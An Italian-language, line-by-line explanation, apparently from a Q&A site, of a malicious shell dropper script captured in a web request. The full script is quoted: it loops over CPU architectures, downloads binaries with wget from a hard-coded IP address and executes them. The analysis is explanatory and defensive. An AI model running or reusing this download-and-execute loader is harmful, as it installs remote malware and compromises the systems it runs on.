Linea per linea:
#!/bin/sh
Stabilisce la sh
shell, qualunque sia, come la linea shebang. sh%20/tmp/ks
nella richiesta lo sostituisce, quindi questa riga viene trattata come un normale commento e ignorata.
u="asgknskjdgn"
Dichiara un nome arbitrario, presumibilmente per evitare di scontrarsi con altri nomi di file. Non sono sicuro del motivo per cui non lo userebbero mktemp
, ma forse non è disponibile su tutte le piattaforme.
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
Enumera diverse architetture CPU comuni.
http_server="80.211.173.159"
http_port=80
Il server che ha l'exploit.
cd /tmp/||cd /var/
Cerca di cambiare directory in un punto in cui è probabile che il tuo server web sia in grado di creare file. Credo che SELinux possa aiutare in questo, applicando regole molto più rigorose su ciò che il web server può fare rispetto al file system da solo.
for name in $bin_names
do
Per ogni architettura CPU ...
rm -rf $u
Rimuove i programmi di exploit precedentemente tentati. Non necessario a causa della riga successiva, quindi può essere ignorato.
cp $SHELL $u
Copia l'eseguibile shell corrente ( /bin/sh
). Può essere ignorato a causa della riga successiva.
chmod 777 $u
Fa in modo che tutti abbiano pieno accesso al nuovo file. Questo avrebbe dovuto essere dopo il wget
comando, che è o un segno di un principiante di script di shell o una tecnica di indirizzamento errato.
>$u
Svuota il file. Inutile a causa della riga successiva.
wget http://$http_server:$http_port/$name -O -> $u
Sovrascrive il file con lo script exploit per questa architettura. -O -> $u
avrebbe potuto essere scritto -O - > $u
(il trattino indica che il download dovrebbe essere scritto nello standard output) che è equivalente a -O $u
.
./$u $name
Esegue lo script exploit con l'architettura come primo argomento.
done
Termina il ciclo.
Sembra che questo sia uno script di tentativo di exploit banale, che tenta exploit noti su varie piattaforme CPU. Non so perché venga sovrascritto $u
tre volte, ma quelle operazioni potrebbero semplicemente essere resti di una precedente iterazione della sceneggiatura. Presumibilmente quella versione precedente aveva gli exploit hard coded piuttosto che serviti dinamicamente - il primo è più facile ma quasi garantisce che lo script sarà meno efficace nel tempo poiché i bug vengono corretti.